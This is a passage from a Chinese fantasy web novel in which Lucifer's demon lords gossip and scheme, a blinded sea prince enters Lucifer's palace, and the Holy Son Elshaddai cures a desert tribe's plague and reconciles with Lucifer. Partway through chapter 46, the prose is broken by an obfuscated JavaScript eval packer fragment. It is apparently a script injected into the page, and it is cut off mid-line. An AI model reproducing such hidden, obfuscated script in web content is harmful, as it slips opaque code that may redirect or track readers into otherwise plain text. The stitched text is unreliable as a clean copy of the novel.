“那陛下呢?陛下当时什么反应?”阿斯蒙蒂斯急急问道。 利维坦想了想,道:“陛下,好像……笑了,挺,高兴的……然后,传音,给别西卜,让他安,安排……” 阿斯蒙蒂斯眼前一黑。 他算是知道今天气氛怎么那么怪了。 别西卜还能安排什么? 怕不是真要让那个海国小王子上位成功了。 这位也是够狠的,对自己的眼睛都能下手。 圣子再怎么温柔好脾气也是天国万人之上的存在,怎么肯把身段放得这么低?如今还为这小王子和陛下闹得不愉快,这下好,以后不知道还有没有机会了。 阿斯蒙蒂斯捏了捏眉心,叹道:“是为了这事?那也难怪。” 利维坦不赞同,结结巴巴反驳道:“才,才没道理,呢,那个人类,他,他什么……身份,也配,质问陛下……的决定?他,还敢,用,那种,冒犯的……语气质问,陛下,是不是,就喜欢……深蓝,这,这他,也配管?陛下,也不喜,直言……与他无关。” 得,比他想的还严重,原来是已经闹过一轮了,怪不得陛下不想多说,直接带着他就走了。 陛下那脾气,怎么会去哄谁? 陛下自诞生以来,这么多年完全不曾和任何人亲近,恐怕不会知道情人之间介怀对方的追求者会是怎样的煎熬难受,当然也就不会理解圣子的心情,说不定还觉得他莫名其妙,这种情况下,只是不耐烦地抽身走人,已经算是对圣子挺宽容的了。 但阿斯蒙蒂斯觉得圣子不会善罢甘休。 这位可不是善茬。 他一边头疼,一边忽悠利维坦:“你都说到这里了,还不明白陛下把你留在那儿的深意吗?” 利维坦一愣,恼怒道:“你,你别,找借口,骗我!” “我哪儿骗你了?我不妨直接告诉你,那个人类,他不是普通人类,他是天国圣子,啊对,就是那个陛下的仇人,你想想天国那些家伙的性格,不就是喜欢坏我们的事?陛下把你留在那儿,就是为了让你盯紧他,别给陛下捣乱,为什么不留我?因为,因为我跟他们已经很熟了,他们对我有戒心,不像你,长得和善,看着就容易让他们信任,对,陛下就是这个意思,你好好留在那里,那个圣子有什么动静,你一定要及时告诉我。” 阿斯蒙蒂斯一顿哄骗,成功让纯朴无知的利维坦脑子里乱乱的,只能照着他说的做。 “那,那好,我……盯着他。” “这就对了!”阿斯蒙蒂斯说起这些话眼也不眨,“陛下知道你这次这么懂事,一定会很高兴的。” 利维坦在那边懵懵懂懂地点头。 陛下高兴?那很好啊。 忽悠完利维坦,阿斯蒙蒂斯左思右想,还是抓紧时间从温泉汤池里爬起来,周围候着的侍从纷纷上前,端着一应物事准备伺候他穿衣打扮。 阿斯蒙蒂斯摆摆手,挥退他们,使了个法术让自己穿戴整齐,然后便风风火火地出门。 直奔别西卜的府邸。 * 阿斯蒙蒂斯与别西卜从前便交情不错,当年阿斯蒙蒂斯还在天国牢狱里时,别西卜还曾奉路西菲尔的命令数次去看望他。 现今听到阿斯蒙蒂斯来访,别西卜也是立刻让侍从带着他进来。 阿斯蒙蒂斯一进去,才发现这儿还有位嬉皮笑脸的不速之客。 “玛门,你怎么在这里?” “你能来,萨麦尔也能来,为何我不能来?”玛门笑吟吟地反问,他不仅没有离开的自觉,还又往椅子上一躺,好似自己也是这里的主人,“我相信公正的别西卜大人不会因为以前和我没有交情就区别对待我,对吧?” 别西卜深吸一口气,懒得理他。 阿斯蒙蒂斯瞥他两眼,心道圣子要是有玛门这等厚脸皮就好了,那干什么都会成功的。 玛门敏锐地捕捉到了他的视线,朝他笑道:“阿斯,你不会与别西卜有了不能被我知道的秘密吧?” “这是什么话,我们向来视你为至亲,有事怎会瞒着你?”阿斯蒙蒂斯笑得比他还浓情蜜意,他说到“至亲”二字,刻意将语气放得暧昧不清,看向玛门的脸时目光也微妙起来。 别说,按他的审美来,玛门长得也是很合他胃口的。 不同于他们这些堕天使,玛门生于地狱,他的相貌相当具有地狱特色,气质阴冷而轮廓偏柔美,但他常带笑容,只让人觉得那若有若无的冷意像是错觉。 不过见识过他的手段的人都会知道,他本身,可一点不柔。 阿斯蒙蒂斯这么说,也只是想让他知难而退。 但玛门好似听不懂,依旧笑眯眯地坐得安稳。 阿斯蒙蒂斯对他的脸皮厚度有了新的认知,看向别西卜,别西卜无奈道:“让他听着吧。” 阿斯蒙蒂斯便也不兜圈子,直接问:“陛下可是让你安排一个海国王子了?” “原来是为这个。”别西卜挑眉,“怎么,他和你有过一段?” 阿斯蒙蒂斯连忙摆手:“没有没有,我跟他之前可没见过。” 别西卜本也只是玩笑一句,那个小王子看着就对陛下痴心一片。 所以他也不觉得有什么不妥。 反正陛下身边也不能总是只有那些隐形哑巴似的侍从,有个忠诚的随侍左右,他就安心了。 阿斯蒙蒂斯见他没有一点儿反对的意思,大惊道:“你不会已经把人送过去了吧?” “那当然,陛下还是第一次要求我做这种事。”别西卜不仅没有反对, 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玛门笑得意味深长,好似还有几分宠溺:“对我又何必掩饰呢?”他拨起阿斯蒙蒂斯的衣领,捻了捻,“看你,急着出门,衣服都是重样的,按你的性格不会留着,这是法术化出来的吧?” 阿斯蒙蒂斯哑口无言。 他着急出门,当然只能化出穿过的衣服样式,谁成想玛门眼力和记忆力都如此超群,竟然一下就认出来了。 能在从前地狱那环境里成为一方霸主的恶魔果然不一般。 阿斯蒙蒂斯颇觉棘手。 玛门出言镇住他,还继续道:“让我猜猜,你对希罗弥图这么抗拒,只有两个可能的原因,一个是为情,一个是为公。为公只会是他与天国有来往,现在都只是在欺骗陛下,但这不成立,因为你可以直接告诉陛下,而不是迂回地来找别西卜试图阻止;那就只能是为情了,但你否认你与他相识,你的神情也不像是为他另投怀抱心痛,所以为的不是你的情,是陛下的情。 “这变数应该出在你与陛下在人间待的几个月里,那么也就是说,陛下在人间遇到了一位很出色的人物,在你看来,容貌身份甚至还有别的方面——比如成为陛下至爱的可能——你都觉得他远在希罗弥图之上。但陛下为什么接受希罗弥图,我猜……吵架了,是不是? “别用那种眼神看我,我知道你会崇拜我,但不必那么崇拜。说回正题,你现在是在担心陛下做出无法挽回的事,这么看来,那位的性情还是很有傲气的,结合以上种种,现在在人间,符合所有条件的,只有——天国圣子。” 玛门从阿斯蒙蒂斯的表情里已经得到了肯定的答案,笑容越发开怀,嗔怪道:“我早就有所发现,你瞒着别西卜也就罢了,瞒不过我。好了,话都说到这里,你该告诉我,陛下和圣子是为什么起的矛盾了吧?别说是为希罗弥图,他没有魅力到那份上。” 阿斯蒙蒂斯看着玛门凑得极近的信心十足的脸,缓缓将整个身体又离他远了点。 “躲什么?我又不会吃了你。”玛门亲昵道,“你实话告诉我,兴许我还能帮你想想办法。” “我躲是因为……”阿斯蒙蒂斯慢吞吞地开口,“你身上那股梅塔特隆寝宫特制的白茶香味儿,熏到我了。” 玛门的笑容一下子僵在脸上。 46. 只要正品 兴许是过于紧张,希罗弥图不禁开始猜测,他是不是第一个踏进万魔殿的非地狱属臣的人。 失去视觉之后,他很容易恐慌,对周围的声音都极为敏感,但自从进入地狱王都潘地曼尼南的内城后,他就鲜少听见吵闹的声音。 他先被别西卜派人接到府邸,那时他便发现,这里处处与海国不一样,也与传闻中不一样。 侍从们大多听命行事,并不过多嬉笑玩闹,若非主家问起,他们几乎不会大声说话,和生性活泼爱热闹的海国生灵截然不同。 而传闻中繁华喧嚣彻夜不眠的地狱王都,只存在于潘地曼尼南外城。 内城安静得让他有些害怕。 一腔热血冷静下来,他才意识到自己孤身踏入了三界最谈之色变的地方,不禁战战兢兢。 但被称为撒旦鹰犬的别西卜对他超乎寻常地和蔼,不论他有什么要求都尽量做到,就算他胆怯不敢多说,别西卜也会主动揣摩,然后贴心安排,面面俱到。 这份优待却更让他不安。 他只是把眼睛送过去,路西法陛下便同意他进入潘地曼尼南,从头到尾,没有见过他。 陛下会如何想? 他承认自己的行为过于叛逆大胆,必然为天国不喜,但,撒旦陛下会欣赏吗? 目前看来是的,但他总觉得不然。 就这样在惶惶中等了数日,别西卜遣人来告诉他,今日就会把他送去万魔殿。 从知道这个消息起,希罗弥图的心就悬了起来。 * 万魔殿的侍从比别西卜府上的还安静。 他们不仅不说话,行走间连脚步落地和衣料摩擦的声音都不会有。 若非轻轻抬起希罗弥图腕部的那只冰凉的手始终彰显着存在感,他都怀疑四下无人,一切都是他失明后的幻想而已。 希罗弥图缓慢地随着周围的侍从行动。 万魔殿的温度比其他地方更冷一些,连带着殿中处处香气也沾了冷意。 希罗弥图嗅觉不够好,只能闻出万魔殿不同位置的香气大致相似,但细节处又有区别,调配香料的人技艺非凡,使得这处处香气虽有不同而又各自融合相配。 海国皇宫甚少用香,他只能依稀分辨出,这香料中应当有不少举世罕见的原料,因为他识出其中一种正是从海底最稀有的鱼类的腺体里提取出之物。 旁人取得一点都要珍藏,在这万魔殿,却是成了铺洒地面的基底香料。 他蓦地想起,从前便有人偷偷议论过撒旦陛下如何骄奢,只不过这些话最后都难免含着不能表明的羡慕。 就连他的父王,虽也是海域之王,享一方供奉,却也远不能及。 不知到底要何种身份,踏进这无价之宝为底的万魔殿,才能不自卑自惭? 希罗弥图迟钝地想到,兴许,这也是他的行为没有受到任何阻碍的原因之一。 在他胡思乱想间,侍从们停下了脚步,终于,他听见有侍从开口,声音平稳,听不出情绪甚至性别:“请进,陛下在里面等您。” 希罗弥图紧张地点点头,一句“有劳”还没出口,就感觉到腕上一松,侍从们已经悄无声息地离去。 他只能自己尝试着一步步小心地进去,唯恐行为不雅,都不敢伸出双臂探路,待到鼻尖碰上冰凉馨香的珠帘,他意识到不能再往前,连忙后退两步,俯身行礼:“路西法陛下,希罗弥图前来拜见您。” 他屏息等着,听见珠帘后有细微的响动,随后,路西法慵懒的声音响起:“潘地曼尼南内城很安静,你会觉得不安吗?” 希罗弥图一怔,他没料到路西法陛下会问这个,他从未想过这方面的回答,连忙在脑子里急速想着,却听路西法又道:“应当是会的。失去眼睛以后,周围的声音就是唯一的感知来源,若是没有声音,那就如置身黑暗里,无论发生了什么都无法得知,未知将会摧毁你的理智,使你变得狂暴。” 希罗弥图张了张嘴,他想说自己不会的,但话到嘴边又说不出来。 他做不到对着路西法说谎。 这段时间,在四周极为安静的时候,他真的会害怕。 但他好像又没有那么后悔。 “说说吧,你为什么渴望侍奉我?当初梅塔特隆的宴会上,你并未见到我。” 路西法很是不解。 他知道他长得好看,非常好看,是造物主的顶尖之作,见到他的生灵莫不为他的容貌惊艳,会因为一面而疯狂爱上他的也不在少数。 但希罗弥图并未见到他。 那时耶和华阻止了他出去。 所以希罗弥图爱上的不是他的容貌,那是什么呢? 权势地位? 但希罗弥图身份并不算低,还一定要上赶着来侍奉,若他生得丑陋狰狞,那希罗弥图也太亏了。 再说,游走于天国地狱之间,两处讨好不得罪,才该是下界种族的求存之道,事实上,所有种族也都是这样做的。 希罗弥图这样旗帜鲜明地倒向他,他的母族明面上必将与他割席,从此他可就除了地狱再无去处了。 他放弃一切,如此孤决,路西法对他终于多了一丝好奇。 “……因为那一箭。”希罗弥图垂下头,近乎喃喃道,“我族军队几乎都葬送于那巨兽之手,骁勇善战的将帅们都不堪为敌,我英明的父王也只能溃逃,让残兵剩将送命换我去天国求救。” 而天国正歌舞升平。 众星捧月,花团锦簇之中,最尊贵的天国副君,只用轻轻一箭,就解决了屠戮海国无数臣民的巨兽。 希罗弥图从怀中取出那支箭。 这千百年来,他一直带着这支箭。 从箭身磨损的情况可以看出,他时常摩挲抚弄。 “多么普通的一支箭,我去寻了很多海国工匠,他们都说,这就是一支再普通不过的箭,他们随便就能造出比它强上无数倍的箭。” 海国工匠们骄傲又自信,还疑惑王子为何带着这支普通无奇的箭。 他们不知道,这支最普通的箭,猎杀了他们那些精工细作的箭都无法穿透外皮的巨兽。 希罗弥图握着它,熟练地从箭头抚摸至箭尾,仿佛还能从中感受到它穿透巨兽凶目,将其钉死在海底时的劈天盖地般的威力。 他想象着那样的场景,身躯都不禁为之轻轻颤栗。 到底要多强,到底有多强? 米迦勒可以做到吗?加百列可以做到吗?巴尔可以做到吗? 他一刻都不能忘记。 可他没资格靠近天国副君,也没资格靠近地狱之主。 他只能一日日忍耐,劝自己等待。 终于,终于被他寻到了机会。 哈,利维坦那样天真愚蠢的家伙,怎么也能为路西法陛下效力?怎么也配随侍左右? 他需要机会,他可以向路西法陛下证明,他会比所有魔王更忠诚,他会比所有魔王更强大。 一双眼睛换个机会,他赚了。 希罗弥图跪下,抬起头朝向珠帘后的方向,一字一顿认真道:“我愿为陛下效力,舍弃任何都不足惜。” 珠帘后安静了许久。 “我明白了。” 路西法看向珠帘外他的身影,目光落在他瘪下的薄薄眼皮处,长睫垂下,掩去眸中思量。 “你崇拜的,是我的力量。” 原来如此。 路西法并不认为只爱他的某一方面是狭隘的爱,容貌也好权势地位也好力量也罢,反正他拥有,那就是他本身。 “从明天起,你跟着萨麦尔,他知道该怎么做。” 希罗弥图抬头,惊愕道:“您……您不愿意留下我吗?” “我身边不留弱者。”路西法重新靠回王座椅背上,“你只有经过了萨麦尔的磨练,才配留在潘地曼尼南。不同意的话,我现在就送你回海国。” 希罗弥图一颤,连忙回答:“我愿意!我会听从萨麦尔大人的安排,通过他的考验。” 路西法轻笑出声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路西法最不喜旁人对他的安排指手画脚,而他不仅试图干预,还提起路西法最厌恶的耶和华,路西法真觉得自己还是太仁慈了。 倘若换个其他人,当时灵魂都该随着尸体一起化为齑粉了。 真是不知好歹。 还敢到现在都不来主动低头。 就是惯的! 路西法陛下自顾自忿忿地生了一番气,连应付希罗弥图的耐心都没了,挥挥手让他自行离去。 * 阿斯蒙蒂斯心事重重地在自己府邸躺了几天,每天不是望着天空叹气就是发呆然后叹气,既不和谁聊聊暧昧,也不和谁出去赏景。 他的侍从们私下都议论,自家魔王大人莫不是被哪位新的情人抛弃了?不然怎么愁成这样。 阿斯蒙蒂斯恹恹地在床上翻了个身,他听到了,他都没力气反驳。 该死的玛门,他怎么能那么奸诈! 真是偷鸡不成蚀把米,早知道就不为一时意气把自己认出白茶香的事儿在他面前捅破了。 他就该直接告诉陛下……哦,好像也没用。 阿斯蒙蒂斯正懊悔着,忽地接到了来自利维坦的传音。 他一个弹射坐起来,连忙接通:“怎么了?是不是圣子做了什么?” “没……没做,什么呀。”利维坦慢慢悠悠道,“怎么,你就,只问他……不,关心我?” “关心,关心,怎么不关心?咱们六个里面我最关心你了。”阿斯蒙蒂斯不走心地敷衍道。 利维坦这才满意,不紧不慢道:”那,那行吧。你……之前,不是让我,看着,那个、圣子吗?我、觉得他,好像,不太、太对劲。” “他怎么了?”阿斯蒙蒂斯纳闷问道。 “他,他好像,好像……有点,死了。” 47. 遇事不决 利维坦接受了阿斯蒙蒂斯的解释之后就老老实实地盯着伊勒沙代。 他的盯着是真盯着,目不转睛地看着那种。 约里几次回头都能看到他直愣愣的双眼,不由得心里发毛。 但当事人伊勒沙代却毫不受影响,该做什么仍旧做什么。 待到伤势恢复,他便立刻启程,如之前所言前往沙漠。 利维坦百般不愿也无法,只能隐忍地跟上。 * 当离开最后一片草原,正式进入无垠大漠后,他们选择的第一个落脚点是一座半荒废的沙城。 ”停停停,沙城?那种地方不都是流匪贼寇常去歇□□易的地盘吗?你们这一行人伤的伤弱的弱,怎么敢去那儿?多走一会儿换个绿洲城镇多好。”阿斯蒙蒂斯完全不能理解。 这是专程找事去的吗? “我们……也不想,在那儿啊,但是,但是,遇上,特别……大的,沙、沙尘暴了嘛。” 阿斯蒙蒂斯长叹。 怎么忘了,圣子是招灾体质。 他不找事,事也会去找他。 利维坦继续磕磕巴巴讲述,他们在沙城落脚之后,也是想着这里不是个很安全的地方,待沙尘暴过去便继续赶路。 奈何,他们这一行人里长得惹眼的就不在少数,想不引起心怀不轨之徒的注意都难。 利维坦掰着指头数:“第一个、日夜,遇到,小偷……三批,劫匪,两批,敲诈,两批,人贩子,四批……想算命、骗钱的,一批。” 到最后他都快长记性了。 “那圣子怎么处置他们的?” 阿斯蒙蒂斯直接没问利维坦做了什么,他太了解利维坦这家伙,人类不招惹他也就算了,他眼里完全看不见人类,招惹了那就只能变成他的腹中餐。 他只好奇圣子干了什么。 “一开始……都放了。”利维坦慢吞吞道,“他们,被抓以后,都哭得,很惨,说……自己,身世凄惨,有多可怜,下次、再,再也不敢了,人类嘛,就是,或多或少,有一点,无用的怜悯……和善良。” 于是就把那些人放了。 利维坦不太理解,他都看得出来他们在说谎,下次照样作奸犯科,伊勒沙代怎会看不出来? 但伊勒沙代就是这样做了。 后来果不其然,同一批人还试图来偷袭他们。 如此来去三次,利维坦都忍无可忍,想着干脆要不他一口吞了,免得后面麻烦。 可伊勒沙代动手更快。 “他们……一下子,就,死了。” 简单粗暴,连个伤口都没有。 眨眼之间就从活人变成了死人。 利维坦那时以为伊勒沙代还会与他们纠缠,便晃神想别的事去了,回头就见那些故技重施的盗匪倒在了地上。 若非他身为魔王,自有本事能判断人类的死活状态,他只怕还会觉得这些人不过是睡着了。 利维坦属实吓了一跳。 这种惊悚感就好像是看到玛门宣布散尽家财从此投身公益慈善事业了一样。 彻彻底底地打破了他对“天国圣子”本应具有的品格性情的固有认知。 他震惊之余甚至磕磕巴巴地问出了不该从魔王嘴里问出来的话:“你,你怎么能……杀人呢?” 好吧,他身为七罪魔王应有的品格性情也是被打破了。 相较于他的大惊失色,伊勒沙代显得淡然很多,仿佛不是杀了一群活生生的人类,而是随手捏碎了几块石头。 “行恶欺善,不思悔改,当杀。” 利维坦看着他微微上扬的嘴角和依旧显得怜悯温柔的神情,直愣愣地觉得,好像很对,好像又有哪里不对。 他对天使了解不多,别西卜他们平时也不怎么提到过去,但他从那些堕天使们的只言片语中还是知道,天使,似乎,好像,不该杀人吧? 但伊勒沙代真论起来也不是天使…… 利维坦心情纠结。 这算不算是他的不对劲之处呢? 阿斯蒙蒂斯听到此处,摸了摸下巴:“他杀人的时候,只有你在?” 利维坦想了想,回道:“还,还有那个……跟他,一样,右耳双环、的男人。” 哦,那个祭山族奴隶。 虽然性格怪怪的,但他对伊勒沙代的感情好像很复杂,大概率不会说出去。 阿斯蒙蒂斯放下心,又问:“后来呢?怎么圣子又遇上危险了?” “我们……在城中,的几日、遇见了,同样来,来躲沙尘暴的,一个人,他,身上……全是疮。” 那人本来紧紧裹着黑色斗篷,将全身都包得严严实实,奈何遇上一个无赖拦住他假装纠缠搭话实为偷窃,谁料他很警惕,发现了无赖的行为,争执之中,无赖将他的一身衣袍都扯了下来。 露出了满身溃烂流脓的疮口,密密麻麻。 无赖吓得大叫一声,霎时吸引了所有人注意力。 这东西,一看就是疫病! 一时之间,整座不大的沙城乱成一团,众人东奔西跑,尖叫声不绝于耳。 在这沙漠中,缺医少药,要是染上疫病,那就真是离死不远了。 那个人也被人群冲得惊慌乱跑,竟然就撞到了伊勒沙代和利维坦跟前,那股浓郁的恶臭气息直冲鼻息,利维坦嗅觉灵敏,难受得大皱眉头。 那人下意识地拉着自己身上的衣服想遮挡可怕的疮口,但他的斗篷本就质量不佳,被无赖撕扯几下,已经坏得不能替他遮掩。 他崩溃地跌坐下去,像个孩子似的嚎啕大哭。 利维坦忍不住后退两步,挡住口鼻,试图保留些清净的气味,却见伊勒沙代反而上前,修长白净的手搭在那人沾满灰尘脓液的衣肩处,温和问道:“需要我帮你吗?” “你帮不了我!没人救得了我!为什么是我们,为什么是我!凭什么不是你们!你们都去死,去死吧!” 利维坦闻言立刻戒备地盯着他。 阿斯蒙蒂斯嘱咐过他,圣子的命是陛下所有的,万万不能让别人沾手。 陛下会不高兴的。 这回他一定先于伊勒沙代把这人捅死。 不对,他不能杀人。 真郁闷。 利维坦盯了半晌,那个人一直嚎哭,扭着身子要挣脱伊勒沙代的手,却根本挣扎不出去一点儿,那人越发崩溃,哭得更响亮了。 “我说可以就可以。”伊勒沙代的声音清冽如泉,坚定有力,叫那人莫名地安静下来,转过头,既觉得不可能,又怀有一点期望地看向他。 伊勒沙代垂眸看向他,目光坦然安宁,没有一点儿心虚畏惧。 他掐破指尖,从那人眉心往下一划,血迹霎时隐入那人肌肤。 几乎是立时,那人身上的疮口都覆上一层薄膜,隐隐有了愈合的趋势。 那人瞠目结舌,愣愣地看着自己身体上的变化,许久后,抬起头,结结巴巴问:“您……是,哪位天使?” “我非天使。”伊勒沙代站起身,温文回道,“我乃天国圣子弥赛亚之化身,我名,伊勒沙代。” * “可以想象那是何等圣光闪耀的场景。”阿斯蒙蒂嘀咕一句,又道,“所以圣子就跟他一起回去救其他患疫病的人了,是吧?” “对……对,你、猜得,真准。他说,他是……莫格加族人,他们,的一族,都染上了,这个、病,他求,求圣子,救……他们。” 而以圣子爱管闲事的性格,肯定会去。 阿斯蒙蒂斯叹道:“这疫病有这么严重?竟然要将他拖累垮了。” 利维坦皱着脸,不太理解:“我,不知道,他昏迷,之前说……这病,是、有人,搞的鬼。” 不会是陛下的手笔吧? 这想法从阿斯蒙蒂斯脑海中一闪而过。 但他随即又否定。不是因为他觉得路西法陛下有多么高尚,而是他觉得,要是陛下做的,那应该早就四处散播出去了,岂会只在一处。 再说现在不是正面破坏他们与天国之间微妙平衡的最好时机,不能利益最大化,陛下不会动手。 中断传音后,阿斯蒙蒂斯思考片刻,决定冒险去汇报一下。 他觉得,陛下不像会就这样放下伊勒沙代的样子,他要是知情不报,又不像利维坦有特殊情况值得关怀的标签做挡箭牌,那以后才是要被清算。 阿斯蒙蒂斯一改数日的消沉,精神抖擞地梳妆出门,一路朝着万魔殿而去。 * 利维坦结束传音,心想,希望阿斯蒙蒂斯快点给他个解决办法。 他真不知道该怎么处理眼前的情况。 他抬眼看看这四周一望无际的荒原被夜幕沉沉盖下,繁星点点绕着明月,些许光辉洒在荒原的野草和尘土,以及睡不着抬头和他面面相觑的羊群上。 只是不知是不是他的错觉,此刻的月亮似乎比正常的明月夜里暗淡许多。 不远处的帷帐群间人来人往,一向节俭灯油的莫格加族人此刻不再吝惜,让帷帐内灯火通明,不时有人停留在最大的帷帐外,虔诚地合手祈求救命恩人的安康。 利维坦因为粗手笨脚,被赶出来看着羊群。 他心里有一点委屈,他只是手太多,用那条要思考一下而已。 要不是怕吓死这群人类,他所有的手都能拿出来使唤,可比他们迅速有效多了。 哦,虽然,他也不知道该做什么。 利维坦蹲下|身,瞪大眼睛盯着还不肯入睡的小羊羔,试图用魔王的威严勒令它:“ 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然后当莱洛温人真的打通通道,将祭山族人自天界山脉尽数引诱出来之后,却是立刻毁约,一边将祭山族人贬为贱民奴隶,一边又禁止莫格加族人离开荒原踏进莱洛温领土,不准任何商人私自贩卖珍贵资源给莫格加族人,又将莱洛温境内穷凶极恶的匪徒放逐到莫格加荒原。 至此,莫格加族人生存越发困难,人口锐减。 但近年来,莫格加族人偶然培养出了一种新型的马驹,比之寻常的马更能适应环境,生存能力更强,且骁勇无比。 莱洛温边境城池的长官发现了这件事,喜不自胜地报告给了杜维德安王。杜维德安王立刻下令,收走莫格加族人培育的马。 且不说新仇旧恨,就说这笔生意,莱洛温贵族趾高气扬地对着他们培育的马挑挑拣拣,还不打算出一点儿好处,美其名曰上供是他们的荣幸,不是莱洛温人从手指头缝里漏出点资源给他们,他们早就该全部死在荒原上了。 莫格加族人大怒,一致决定不会给莱洛温人一匹马,并且强硬粗暴地赶走了莱洛温贵族。 这场疫病,恐怕,就是莱洛温人的报复。 眼见狄曼图雅沉浸在自己的思绪里,揪着小羊羔头毛的手指用力了些,小羊羔吃痛,眼泪盈盈,利维坦不客气地一巴掌拍在她手腕上,凶狠道:“松手!” 狄曼图雅回过神,连忙松手道歉:“抱歉,我没注意。” “你、有怨,也该,找……人类,别,欺负,羊。”利维坦理了理小羊羔的头毛,瞪她道。 “我没有怨。”狄曼图雅喉头艰涩,“……我只是,不知道该怎么做。我好像,什么都做不了,做什么都不对。” 利维坦惊奇地看她:“你……你难道,觉得,我知道?” 狄曼图雅一默。 她完全没这么想。 利维坦就差把“缺心眼”直接写脸上了。 只是她太痛苦,又不知道该向谁说。 这里的人类,除了她和利安维亚,都是她的阶级下的受害者。 莫格加族人会因为约里和聂厄曼真诚善良的帮助接纳他们,认定他们不是那种坏莱洛温人。 她却不然。 她的血脉里就带着罪孽。 她好似被心里的天堑撕扯成两半,但这份痛苦她没资格与这里任何人类说,会显得相当令人不齿。 而利安维亚,他没有负罪感,他冷眼旁观,还觉得她不可理喻,又不是她做的,她痛苦什么? 利维坦撇撇嘴:“不知道……你们,内斗、个,什么劲,反正,也没谁……不会死。百年,过去,谁不是……黄土一抔,权势富贵……也不能,陪着、入葬。” “我也不知道。”狄曼图雅苦笑,“我原先以为自己是个好人,现在发现,我是天生的罪人,我所做的,压根无法赎罪。” 利维坦迷茫道:“啊……可是,你们、人类,都,都生而,负原罪呀。”他想了想,补充道,“天国、规定,的。” “是。只不过我亏欠的人类也很多。”狄曼图雅低下头,伤感道。 “那就、就尽力弥补吧,补不了……就放着,等,等能补,的时候,再补补。”利维坦挠挠头,“呃……或者,我帮你,问问?” 他准备问陛下。 遇事不懂问陛下,准没错。 陛下最最最英明神武。 狄曼图雅僵硬地笑了笑:“……谢谢你,但是,太麻烦了,不用了吧。” “哦,是有点,还得,回去……咦,不麻烦了……我要、问的人,他来了!” 48. 喁喁私语 伊勒沙代醒来已是几日以后。 守着他的莫格加族人喜出望外,赶紧通知其他人,一时间,帷帐内挤满了人。 待到约里赶忙来解围,劝走他们,才发现伊勒沙代面上掩盖不住的倦色。 他想上前询问,却又踟蹰不前。 天国圣子啊…… 那是比人间的大祭司还要煊赫千万倍的身份。 从小一起长大的人突然和他就有了天堑之别,他心里颇有些不适应。 人类仰望遥不可及的天国,做梦都想朝拜,而伊勒沙代却还是天国万众之上的存在。 这本难以置信,但伊勒沙代生来不同凡人的种种,他都是看在眼里的,由不得他不信。 约里难免惶恐。 以后该怎么同伊勒沙代相处? 伊勒沙代看出了他的不自在,无奈道:“不必如此小心,往常如何,以后还是如何便好。” 约里还是忐忑:“可,可您是天国圣子啊……” “我在人间,那就也是人类伊勒沙代。”伊勒沙代平和道,他望向身侧,眸光微沉,“路西来过了?” 他应该已经发现了。 约里点点头,又觉得奇怪:“他就在帐外看了一眼,然后就走了,再也没来过。” 以往他好像也没有这么冷淡吧? 约里不太明白。 “他不高兴。”伊勒沙代叹道,他坐起身,“我去见他。” 约里从他的动作中还看出了些许急迫。 圣子,好像,真的很在乎撒旦陛下。 约里钝钝地想,但他随即又想到了一件事,背后起了一层冷汗。 ——这,合天国的规矩吗? * 莫格加族人日常居住的帷帐极具特色,一帐之隔,内里陈设有繁有简。 路西法目前所在的帷帐就是极简的那一类。 伊勒沙代单手掀开外帐进去,才发现里面甚至没有点灯。 路西法背对着他在出神。 黑暗不会影响伊勒沙代的视力,他还能清楚地看见路西法外衣上银色丝线织成的漂亮图案,以及在中央做点缀的银叶子与红宝石花蕊。 能为撒旦陛下服务的地狱工匠自然技艺不凡,最微小的细节都处理得极为妥当。 但不像是常服。 是听闻消息后立刻赶来,所以没来得及换衣服么? 路西竟然……这么关心他? 伊勒沙代感觉到,胸腔中的响动越发鲜明。 他将手中之物轻轻放在桌上,点起一盏灯,温声道:“还在生我的气?” 路西法沉默片刻,开口却道:“契印没有反应,为什么?” “契印自然是有时效的,不然岂能让米迦勒一直替我承伤。”伊勒沙代主动在桌边坐下,眸中含笑,“路西,我还以为,你知道这件事会很高兴的。” 虽然还不能杀了他,但是伤他却无碍了。 是该高兴。 但路西法不知为何高兴不起来。 “你再这样下去,会死得很快。” 一次又一次透支生命力,哪怕他是圣子,现在也是人类之躯,能经受住几回? 只怕会,年寿不永。 “人类伊勒沙代会死,但天国圣子弥赛亚永存。”伊勒沙代声音不疾不徐,仿佛在说与己无关的小事,而非自身的生死命运。 “路西,长存,不一定是指躯体永远鲜活,亦可是理念信仰的万世延续传递。”伊勒沙代看着他的背影,眸光温柔,“我将我的知识与信念传给世人,只要尚有一人记得,我便是还活着。” “闭嘴!”路西法忽地怒道。 伊勒沙代听话地不再出声。 他心里微微一叹,知道路西法在焦躁什么。 他与圣父毕竟同为一体,纵使他有意区别言语行为,但不经意间总是难免相似。 伊勒沙代没有急着催促,只等路西法自己整理好心绪,再度开口:“也是,你自然是想尽早回天国的。” 死亡是人类的终点,但不是天国圣子的终点。 伊勒沙代闻言,唇角弯起,似是说笑般道:“若是撒旦陛下容许,我倒最想留在地狱。 “待我身死之时,灵体脱离肉身,陛下千万记得,赶在米迦勒到来之前带走我。” 路西法终于转过身,殷红竖瞳垂下,盯着面前昔日死敌明亮圣洁依旧的俊美面容,缓缓道:“若我不同意呢?” 伊勒沙代故作苦恼:“那我只能被带回天国,从此再也没有相见的机会了。” 随即,他的下颏被温热细白的手指抬起,被迫仰起脸去看路西法陛下。 “怎会呢?待我杀上天国,一样可以见面。”路西法的指节顺着他的下颌线轻轻刮过,“还是说,你认为耶和华有我不知道的手段,让我没办法打进去?” “我只是觉得不需如此麻烦。”伊勒沙代非常顺从且配合,主动去贴路西法的手指,湛蓝眼眸如含春水,“路西,我永远会选择你。” 路西法蓦地抽回手指,嗤笑道:“你的选择很重要?你以为你是谁?” “那要看路西将我定义为什么身份。”伊勒沙代从容应道。 反正应该比圣父好一点。 “身为天国圣子,却与撒旦私下会面,言行不避,你可知这在天国是怎样的大罪?”路西法竖瞳微微眯起,打量着伊勒沙代的反应。 “好可怕,好可怕,不敢回去了。”伊勒沙代笑眯眯道。 见他完全不在意,路西法心道,伊勒沙代在天国的地位应当比他想象的还要高。 起码是米迦勒都没有权力声讨他的高度。 倒也不枉费他到人间受这番罪。 路西法在他身侧坐下,目光仍旧没有从他脸上离开。 